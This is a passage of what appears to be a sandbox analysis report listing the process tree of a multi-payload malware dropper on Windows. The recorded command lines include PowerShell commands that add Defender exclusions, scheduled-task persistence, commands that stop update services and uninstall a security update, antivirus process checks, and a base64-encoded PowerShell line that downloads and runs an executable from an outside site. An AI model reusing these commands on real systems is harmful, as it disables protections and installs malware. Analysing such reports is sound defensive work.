      cmd /c ""C:\PortproviderwinMonitorSvc\vcwCtM23VtO7vZcBlCg44jyJmSVgI43HgFP0J6KvnQO3IbLY.bat" "
      4⤵
      PID:3088
    - - C:\PortproviderwinMonitorSvc\ContainerserverFontSavessession.exe
        
        "C:\PortproviderwinMonitorSvc/ContainerserverFontSavessession.exe"
        5⤵
        
        PID:3588
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\sFjR0vEqkE.bat"
        6⤵
        
        PID:2628
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:3904
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        7⤵
        Runs ping.exe
        
        PID:3260
        
        C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\windows.exe
        
        "C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\windows.exe"
        7⤵
        
        PID:4012
- C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup7.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup7.exe"
  2⤵
  PID:2192
- C:\Users\Admin\AppData\Local\Temp\Files\build6_unencrypted.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\build6_unencrypted.exe"
  2⤵
  PID:304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'build6_unencrypted.exe'
    3⤵
    PID:3204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\build6_unencrypted.exe'
    3⤵
    PID:2876
- C:\Users\Admin\AppData\Local\Temp\Files\install.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\install.exe"
  2⤵
  PID:3524
- - C:\Users\Admin\AppData\Local\Temp\Files\install.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\install.exe"
    3⤵
    PID:2444
  - - C:\Users\Admin\AppData\Local\Temp\_MEI35242\exe\netconn_properties.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI35242\exe/netconn_properties.exe
      4⤵
      PID:2180
- C:\Users\Admin\AppData\Local\Temp\Files\elevator.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\elevator.exe"
  2⤵
  PID:3636
- C:\Users\Admin\AppData\Local\Temp\Files\net.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\net.exe"
  2⤵
  PID:3744
- C:\Users\Admin\AppData\Local\Temp\Files\6.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\6.exe"
  2⤵
  PID:1564
- C:\Users\Admin\AppData\Local\Temp\Files\rwtweewge.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\rwtweewge.exe"
  2⤵
  PID:3596
- C:\Users\Admin\AppData\Local\Temp\Files\asas.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\asas.exe"
  2⤵
  PID:3904
- - C:\Windows\System32\werfault.exe
    \??\C:\Windows\System32\werfault.exe
    3⤵
    PID:2596
- C:\Users\Admin\AppData\Local\Temp\Files\cayV0Deo9jSt417.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\cayV0Deo9jSt417.exe"
  2⤵
  PID:4004
- - C:\Windows\SysWOW64\clip.exe
    "C:\Windows\SysWOW64\clip.exe"
    3⤵
    PID:1888
  - - C:\Users\Admin\AppData\Roaming\System32\taskhost.exe
      "C:\Users\Admin\AppData\Roaming\System32\taskhost.exe"
      4⤵
      PID:2388
- C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe"
  2⤵
  PID:3824
- - C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe"
    3⤵
    PID:3700
- C:\Users\Admin\AppData\Local\Temp\Files\DefenderControl.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\DefenderControl.exe"
  2⤵
  PID:3992
- C:\Users\Admin\AppData\Local\Temp\Files\07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe"
  2⤵
  PID:780
- - C:\Users\Admin\AppData\Local\Temp\Files\07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe"
    3⤵
    PID:3868
- C:\Users\Admin\AppData\Local\Temp\Files\a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe"
  2⤵
  PID:3080
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\Files\a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe" & exit
    3⤵
    PID:2792
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe" /f
      4⤵
      Kills process with taskkill
      PID:1144
- C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_4.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_4.exe"
  2⤵
  PID:2984
- C:\Users\Admin\AppData\Local\Temp\Files\bin.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\bin.exe"
  2⤵
  PID:2656
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:3712
- C:\Users\Admin\AppData\Local\Temp\Files\865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe"
  2⤵
  PID:3804
- - C:\Users\Admin\AppData\Local\Temp\Files\865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe"
    3⤵
    PID:1960
- C:\Users\Admin\AppData\Local\Temp\Files\native.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\native.exe"
  2⤵
  PID:3736
- C:\Users\Admin\AppData\Local\Temp\Files\superz.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\superz.exe"
  2⤵
  PID:3012
- - C:\Users\Admin\AppData\Local\Temp\InstallSetup3.exe
    "C:\Users\Admin\AppData\Local\Temp\InstallSetup3.exe"
    3⤵
    PID:2360
- - C:\Users\Admin\AppData\Local\Temp\april.exe
    "C:\Users\Admin\AppData\Local\Temp\april.exe"
    3⤵
    PID:3892
  - - C:\Users\Admin\AppData\Local\Temp\is-N0G2I.tmp\april.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-N0G2I.tmp\april.tmp" /SL5="$9031E,7683695,54272,C:\Users\Admin\AppData\Local\Temp\april.exe"
      4⤵
      PID:908
    - - C:\Users\Admin\AppData\Local\WebSocket connection routine\websocketconnectionroutine.exe
        
        "C:\Users\Admin\AppData\Local\WebSocket connection routine\websocketconnectionroutine.exe" -i
        5⤵
        
        PID:3324
    - - C:\Users\Admin\AppData\Local\WebSocket connection routine\websocketconnectionroutine.exe
        
        "C:\Users\Admin\AppData\Local\WebSocket connection routine\websocketconnectionroutine.exe" -s
        5⤵
        
        PID:3836
- - C:\Users\Admin\AppData\Local\Temp\c53cfff621a84792162f70e790980e38.exe
    "C:\Users\Admin\AppData\Local\Temp\c53cfff621a84792162f70e790980e38.exe"
    3⤵
    PID:2924
- C:\Users\Admin\AppData\Local\Temp\Files\abtc8mhlbehqil.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\abtc8mhlbehqil.exe"
  2⤵
  PID:2696
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
    3⤵
    PID:1432
- C:\Users\Admin\AppData\Local\Temp\Files\costa.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\costa.exe"
  2⤵
  PID:4080
- - C:\Users\Admin\AppData\Local\Temp\e0cbefcb1af40c7d4aff4aca26621a98.exe
    "C:\Users\Admin\AppData\Local\Temp\e0cbefcb1af40c7d4aff4aca26621a98.exe"
    3⤵
    PID:3360
- - C:\Users\Admin\AppData\Local\Temp\rty27.exe
    "C:\Users\Admin\AppData\Local\Temp\rty27.exe"
    3⤵
    PID:3428
- - C:\Users\Admin\AppData\Local\Temp\InstallSetup8.exe
    "C:\Users\Admin\AppData\Local\Temp\InstallSetup8.exe"
    3⤵
    PID:3640
- C:\Users\Admin\AppData\Local\Temp\Files\l.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\l.exe"
  2⤵
  PID:3084
- - C:\Users\Admin\AppData\Local\Temp\ghoul.exe
    "C:\Users\Admin\AppData\Local\Temp\ghoul.exe" hvasjw34favaawhnb68
    3⤵
    PID:3168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      PID:3296
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PSOBPDL" /tr "C:\ProgramData\Microsoft\PSOBPDL.exe"
      4⤵
      PID:1984
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PSOBPDL" /tr "C:\ProgramData\Microsoft\PSOBPDL.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:4780
- C:\Users\Admin\AppData\Local\Temp\Files\rty27.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\rty27.exe"
  2⤵
  PID:1496
- C:\Users\Admin\AppData\Local\Temp\Files\fscan.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\fscan.exe"
  2⤵
  PID:3956
- C:\Users\Admin\AppData\Local\Temp\Files\National.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\National.exe"
  2⤵
  PID:2720
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    3⤵
    PID:3536
- C:\Users\Admin\AppData\Local\Temp\Files\dota.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\dota.exe"
  2⤵
  PID:4032
- C:\Users\Admin\AppData\Local\Temp\Files\sc.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\sc.exe"
  2⤵
  - Launches sc.exe
  PID:2696
- C:\Users\Admin\AppData\Local\Temp\Files\build.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\build.exe"
  2⤵
  PID:3312
- C:\Users\Admin\AppData\Local\Temp\Files\hv.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\hv.exe"
  2⤵
  PID:2616
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    3⤵
    PID:1772
- C:\Users\Admin\AppData\Local\Temp\Files\libc010url.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\libc010url.exe"
  2⤵
  PID:3988
- C:\Users\Admin\AppData\Local\Temp\Files\c4fc1686ecf325a5432309a2fec15357f6ff849252747ef44de7b4f1f4d4d1c2.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\c4fc1686ecf325a5432309a2fec15357f6ff849252747ef44de7b4f1f4d4d1c2.exe"
  2⤵
  PID:3156
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    PID:3348
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 48
    3⤵
    - Program crash
    PID:3316
- C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_3.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_3.exe"
  2⤵
  PID:2600
- C:\Users\Admin\AppData\Local\Temp\Files\Doublepulsar-1.3.1.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Doublepulsar-1.3.1.exe"
  2⤵
  PID:2716
- C:\Users\Admin\AppData\Local\Temp\Files\MartDrum.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\MartDrum.exe"
  2⤵
  PID:3388
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k cmd < Tunisia & exit
    3⤵
    PID:3264
  - - C:\Windows\SysWOW64\cmd.exe
      cmd
      4⤵
      PID:1764
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
        5⤵
        
        PID:3428
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:2696
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe"
        5⤵
        
        PID:4712
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:3212
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c mkdir 13775
        5⤵
        
        PID:4736
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b Cock + Enhance + Forest + Grocery + Mall 13775\Fighting.pif
        5⤵
        
        PID:4748
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 5 localhost
        5⤵
        Runs ping.exe
        
        PID:3480
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\13775\Fighting.pif
        
        13775\Fighting.pif 13775\Q
        5⤵
        
        PID:1084
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b Amd + Backed 13775\Q
        5⤵
        
        PID:4524
- C:\Users\Admin\AppData\Local\Temp\Files\rty49.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\rty49.exe"
  2⤵
  PID:1728
- C:\Users\Admin\AppData\Local\Temp\Files\_vti_cnf.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\_vti_cnf.exe"
  2⤵
  PID:3472
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /C AT /delete /yes
    3⤵
    PID:3716
  - - C:\Windows\SysWOW64\at.exe
      AT /delete /yes
      4⤵
      PID:3508
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /C AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe
    3⤵
    PID:4124
  - - C:\Windows\SysWOW64\at.exe
      AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe
      4⤵
      PID:4244
- C:\Users\Admin\AppData\Local\Temp\Files\bc_memories_from_the_mcp.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\bc_memories_from_the_mcp.exe"
  2⤵
  PID:4192
- C:\Users\Admin\AppData\Local\Temp\Files\csaff.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\csaff.exe"
  2⤵
  PID:4684
- - C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
    "C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe" --install .
    3⤵
    PID:3120
  - - C:\Users\Admin\AppData\Local\CoinSurf\app-1.0.5\csen.exe
      "C:\Users\Admin\AppData\Local\CoinSurf\app-1.0.5\csen.exe" --squirrel-firstrun
      4⤵
      PID:2756
  - - C:\Users\Admin\AppData\Local\CoinSurf\app-1.0.5\CoinSurf.WPF.exe
      "C:\Users\Admin\AppData\Local\CoinSurf\app-1.0.5\CoinSurf.WPF.exe" --squirrel-firstrun
      4⤵
      PID:4552
- C:\Users\Admin\AppData\Local\Temp\Files\inst77player_1.0.0.1.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\inst77player_1.0.0.1.exe"
  2⤵
  PID:2580
- C:\Users\Admin\AppData\Local\Temp\Files\VLTKNhatRac.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\VLTKNhatRac.exe"
  2⤵
  PID:4372
- C:\Users\Admin\AppData\Local\Temp\Files\LoaderAVX.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\LoaderAVX.exe"
  2⤵
  PID:5044
- C:\Users\Admin\AppData\Local\Temp\Files\plaza.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\plaza.exe"
  2⤵
  PID:5060
- C:\Users\Admin\AppData\Local\Temp\Files\wind.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\wind.exe"
  2⤵
  PID:4280
- C:\Users\Admin\AppData\Local\Temp\Files\Wattyl.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Wattyl.exe"
  2⤵
  PID:4792
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /C AT /delete /yes
    3⤵
    PID:3888
  - - C:\Windows\SysWOW64\at.exe
      AT /delete /yes
      4⤵
      PID:3204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /C AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe
    3⤵
    PID:4100
  - - C:\Windows\SysWOW64\at.exe
      AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe
      4⤵
      PID:3872
- C:\Users\Admin\AppData\Local\Temp\Files\w-12.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\w-12.exe"
  2⤵
  PID:4936
- C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe"
  2⤵
  PID:5008
- C:\Users\Admin\AppData\Local\Temp\Files\joekr1234.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\joekr1234.exe"
  2⤵
  PID:3280
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:4356
- C:\Users\Admin\AppData\Local\Temp\Files\up.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\up.exe"
  2⤵
  PID:4608
- C:\Users\Admin\AppData\Local\Temp\Files\Helper.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Helper.exe"
  2⤵
  PID:5108
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Helper Company LLC\Helper 1.0.0\install\Helper.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\Files\Helper.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\Files\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1707792670 "
    3⤵
    PID:2052
- C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe"
  2⤵
  PID:2420
- - C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe"
    3⤵
    PID:2500
- C:\Users\Admin\AppData\Local\Temp\Files\svcrun.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\svcrun.exe"
  2⤵
  PID:3268
- C:\Users\Admin\AppData\Local\Temp\Files\may.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\may.exe"
  2⤵
  PID:3256
- - C:\Users\Admin\AppData\Local\Temp\is-BDO90.tmp\may.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-BDO90.tmp\may.tmp" /SL5="$405A2,6647488,54272,C:\Users\Admin\AppData\Local\Temp\Files\may.exe"
    3⤵
    PID:3016
  - - C:\Users\Admin\AppData\Local\DVDBurnerXP\dvdburnerxp.exe
      "C:\Users\Admin\AppData\Local\DVDBurnerXP\dvdburnerxp.exe" -i
      4⤵
      PID:4616
- C:\Users\Admin\AppData\Local\Temp\Files\cpm.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\cpm.exe"
  2⤵
  PID:2224
- C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe"
  2⤵
  PID:4340
- C:\Users\Admin\AppData\Local\Temp\Files\RobluxCoins.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\RobluxCoins.exe"
  2⤵
  PID:5156
- - C:\Windows\system32\WerFault.exe
    WerFault
    3⤵
    PID:5496
- C:\Users\Admin\AppData\Local\Temp\Files\891b6cff6879ab69ae185a5956987ec46daaf434c60c93589c9ac06e4a4f7005.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\891b6cff6879ab69ae185a5956987ec46daaf434c60c93589c9ac06e4a4f7005.exe"
  2⤵
  PID:5624
- C:\Users\Admin\AppData\Local\Temp\Files\LM.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\LM.exe"
  2⤵
  PID:5712
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5712 -s 92
    3⤵
    - Program crash
    PID:5792
- C:\Users\Admin\AppData\Local\Temp\Files\conhost.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\conhost.exe"
  2⤵
  PID:5820
- C:\Users\Admin\AppData\Local\Temp\Files\3b9da1066d77143b24ee1c9b9c9787f63400bc599fcaf4bfc8f58efc802cf760.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\3b9da1066d77143b24ee1c9b9c9787f63400bc599fcaf4bfc8f58efc802cf760.exe"
  2⤵
  PID:5764
- - C:\Users\Admin\AppData\Local\Temp\Files\3b9da1066d77143b24ee1c9b9c9787f63400bc599fcaf4bfc8f58efc802cf760.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\3b9da1066d77143b24ee1c9b9c9787f63400bc599fcaf4bfc8f58efc802cf760.exe"
    3⤵
    PID:5364
- C:\Users\Admin\AppData\Local\Temp\Files\dvchost.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\dvchost.exe"
  2⤵
  PID:5584
- - C:\Windows\system32\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
    3⤵
    PID:5188
- C:\Users\Admin\AppData\Local\Temp\Files\%40Natsu338_alice.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\%40Natsu338_alice.exe"
  2⤵
  PID:5504
- C:\Users\Admin\AppData\Local\Temp\Files\12cc22da6901d5fc26e8f2d3ee79a1c346f83a7ae43e25d1384e1df23d9adb69.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\12cc22da6901d5fc26e8f2d3ee79a1c346f83a7ae43e25d1384e1df23d9adb69.exe"
  2⤵
  PID:4444

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAcAB2ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AZgB2AGkAYQB0AG8AbwBsAC4AYwBvAG0ALwBnAGUAdAAuAGUAeABlACcALAAgADwAIwBuAGsAaQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAdgBrACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAcQBxACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGcAZQB0AC4AZQB4AGUAJwApACkAPAAjAHMAYwBwACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGcAZQBhACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBoAG0AcwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBnAGUAdAAuAGUAeABlACcAKQA8ACMAYwB3AHUAIwA+AA=="
1⤵
PID:612
- C:\Users\Admin\AppData\Roaming\get.exe
  "C:\Users\Admin\AppData\Roaming\get.exe"
  2⤵
  PID:2712
- - C:\Users\Admin\AppData\Roaming\SecurityHealthSystray.exe
    "C:\Users\Admin\AppData\Roaming\SecurityHealthSystray.exe"
    3⤵
    PID:2276
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\Bypass.exe'
      4⤵
      PID:820
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /F /TN "Bypass" /SC ONLOGON /TR "C:\Windows\System32\Bypass.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:2424
  - - C:\Windows\system32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpEE26.tmp.bat""
      4⤵
      PID:1068
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:856
  - - C:\Windows\System32\Bypass.exe
      "C:\Windows\System32\Bypass.exe"
      4⤵
      PID:1640
- - C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe
    "C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"
    3⤵
    PID:2460
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe'
      4⤵
      PID:284
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsSecurity.exe'
      4⤵
      PID:2088
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSecurity.exe'
      4⤵
      PID:3048
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WindowsSecurity" /tr "C:\ProgramData\WindowsSecurity.exe"
      4⤵
      Creates scheduled task(s)
      PID:2388
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAcgBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGwAZwBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGoAZwBoACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGUAdgByACMAPgA="
    3⤵
    PID:968

C:\ProgramData\wikombernizc\reakuqnanrkn.exe
C:\ProgramData\wikombernizc\reakuqnanrkn.exe
1⤵
PID:2820
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  PID:780
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:2468
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:2812
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1480
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2208
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:1720
- C:\Windows\system32\sc.exe
